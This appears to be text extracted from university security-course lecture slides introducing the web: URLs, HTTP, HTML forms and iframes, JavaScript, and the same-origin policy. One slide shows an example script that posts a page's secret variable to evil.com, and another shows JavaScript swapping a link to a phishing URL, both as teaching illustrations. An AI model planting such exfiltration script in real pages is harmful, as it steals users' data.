Introduction to Web
CS 161 Spring 2024
Computer Science 161
Today: Introduction to Web
2
Computer Science 161
A Brief History of the Web
3
Computer Science 161
A Brief History of the Web
4
Computer Science 161
Memex
5
Computer Science 161
Memex
6
Computer Science 161
Web 1.0
7
Computer Science 161
What’s the Web?
8
Computer Science 161
What’s the Web?
9
Browser
Browser
Browser
Server
Server
The Internet
Computer Science 161
Today: Elements of the Web
10
Computer Science 161
URLs
11
Computer Science 161
Today: Elements of the Web
12
Computer Science 161
URLs
13
Computer Science 161
Parts of a URL: Scheme
14
https://toon.cs161.org/xorcist/avian.html
Computer Science 161
Parts of a URL: Domain
15
https://toon.cs161.org/xorcist/avian.html
Computer Science 161
Parts of a URL: Location
16
https://toon.cs161.org:4000/xorcist/avian.html
Computer Science 161
Parts of a URL: Path
17
https://toon.cs161.org/xorcist/avian.html
Computer Science 161
Parts of a URL: Query
18
https://toon.cs161.org/draw?character=evan&size=big
Computer Science 161
Parts of a URL: Fragment
19
https://toon.cs161.org/cryptoverse/characters#mallory
Computer Science 161
URL Escaping
20
Computer Science 161
A Simplified View of the Web
21
func draw(bot, size)
func search(q)
Backend
Browser
/
├── /pictures
├── evanbot.jpg
└── codabot.jpg
├── /secrets
├── passwords.txt
└── evanbot.py
├── /draw?bot=__&size=__
└── /search?q=__
Filesystem
Server: www.evanbot.com
Computer Science 161
A Simplified View of the Web
22
Browser
/
├── /pictures
├── evanbot.jpg
└── codabot.jpg
├── /secrets
├── passwords.txt
└── evanbot.py
├── /draw?bot=__&size=__
└── /search?q=__
Server: www.evanbot.com
func draw(bot, size)
func search(q)
Filesystem
Backend
The browser can request a file from the server with a URL.
https://evanbot.com/pictures/evanbot.jpg
Computer Science 161
A Simplified View of the Web
23
Browser
/
├── /pictures
├── evanbot.jpg
└── codabot.jpg
├── /secrets
├── passwords.txt
└── evanbot.py
├── /draw?bot=__&size=__
└── /search?q=__
Server: www.evanbot.com
func draw(bot, size)
func search(q)
Filesystem
Backend
The browser can also request some computation from the server.
https://evanbot.com/draw?bot=evan&size=large
Computer Science 161
HTTP
24
Computer Science 161
Today: Elements of the Web
25
Computer Science 161
HTTP
26
Computer Science 161
Parts of an HTTP Request
27
Computer Science 161
Parts of an HTTP Response
28
Computer Science 161
Parts of a Webpage
29
Computer Science 161
Today: Elements of the Web
30
Computer Science 161
HTML
31
Computer Science 161
Features of HTML: Create a Link
32
<a href="https://toon.cs161.org">Check out these comics!</a>
HTML
Webpage
Clicking on this text will take you to https://toon.cs161.org
Computer Science 161
Features of HTML: Create a Form
33
<form action="/feedback" method="POST">
<label for="name">Name:</label>
<input type="text" id="name">
<br>
<label for="bot">Favorite bot:</label><br>
<input type="radio" id="evan">
<label for="html">EvanBot</label><br>
<input type="radio" id="coda">
<label for="css">CodaBot</label><br>
<br>
<input type="submit" value="Submit">
</form>
HTML
Name:
Favorite bot:
EvanBot
CodaBot
Webpage
Submit
Clicking on the submit button will make a POST request to http://toon.cs161.org/feedback with the contents of the form
The HTML inside the <form> tags creates the form fields for the user to fill in.
Computer Science 161
Features of HTML: Embed an Image
34
<p>Look at my new desktop background!</p>
<img src="https://toon.cs161.org/assets/desktop.png">
HTML
Look at my new desktop background!
Webpage
The browser will make a GET request to https://toon.cs161.org/assets/desktop.png
and display the returned image on the page.
Computer Science 161
Features of HTML: Embed Another Webpage
35
CS 161 toon website above.
The outer frame embeds the inner frame (sometimes called an iframe or frame).
<iframe src="https://toon.cs161.org" height="200" width="300"></iframe>
<p>CS 161 toon website above.</p>
HTML
Webpage
The browser will make a GET request to https://toon.cs161.org/ and display the returned webpage in a�200 pixel × 300 pixel box.
Computer Science 161
CSS
36
Computer Science 161
JavaScript
37
Computer Science 161
JavaScript Fact Sheet
38
Computer Science 161
Vulnerabilities in the JavaScript interpreter/compiler
39
Computer Science 161
Features of JavaScript
40
Webpage
<a id="link" href="https://toon.cs161.org">Toon</a>
HTML (before JavaScript executes)
Webpage
<a id="link" href="https://cs161.org/phishing">Toon</a>
HTML (after JavaScript executes)
document.getElementById("link").setAttribute("href", "https://cs161.org/phishing");
JavaScript changed the link! Now clicking it opens https://cs161.org/phishing.
Computer Science 161
Features of JavaScript
41
<script>alert("Happy Birthday!")</script>
HTML (with embedded JavaScript)
Webpage
Happy Birthday!
OK
When the browser loads this HTML, it will run the embedded JavaScript and cause a pop-up to appear.
Computer Science 161
Features of JavaScript
42
<script>int secret = 42;</script>
...
<script>fetch('https://evil.com/receive',{method:'POST', body: secret})</script>
HTML (with embedded JavaScript)
If the attacker somehow adds this JavaScript, the browser will send a POST request to the attacker’s server with the secret.
Suppose the server returns some HTML with a secret JavaScript variable.
Computer Science 161
Rendering a Webpage
43
Computer Science 161
Security on the Web
44
Computer Science 161
Risks on the Web
45
Computer Science 161
Risks on the Web
46
Computer Science 161
Risks on the Web
47
Computer Science 161
Same-Origin Policy
48
Computer Science 161
Same-Origin Policy: Definition
49
Computer Science 161
Same-Origin Policy
50
https://toon.cs161.org:443/assets/lock.PNG
http://cs161.org/assets/images/404.png
80 (default port)
Computer Science 161
Same-Origin Policy
51
First domain | Second domain | Same origin? |
| | |
| | |
| | |
http://toon.cs161.org
https://toon.cs161.org
Protocol mismatch�http ≠ https
http://toon.cs161.org
http://cs161.org
Domain mismatch�toon.cs161.org ≠ cs161.org
http://toon.cs161.org[:80]
http://toon.cs161.org:8000
Port mismatch�80 ≠ 8000
Computer Science 161
Same-Origin Policy
52
Computer Science 161
URLs: Summary
53
Computer Science 161
HTTP: Summary
54
Computer Science 161
Parts of a Webpage: Summary
55
Computer Science 161
Same-Origin Policy: Summary
56
Computer Science 161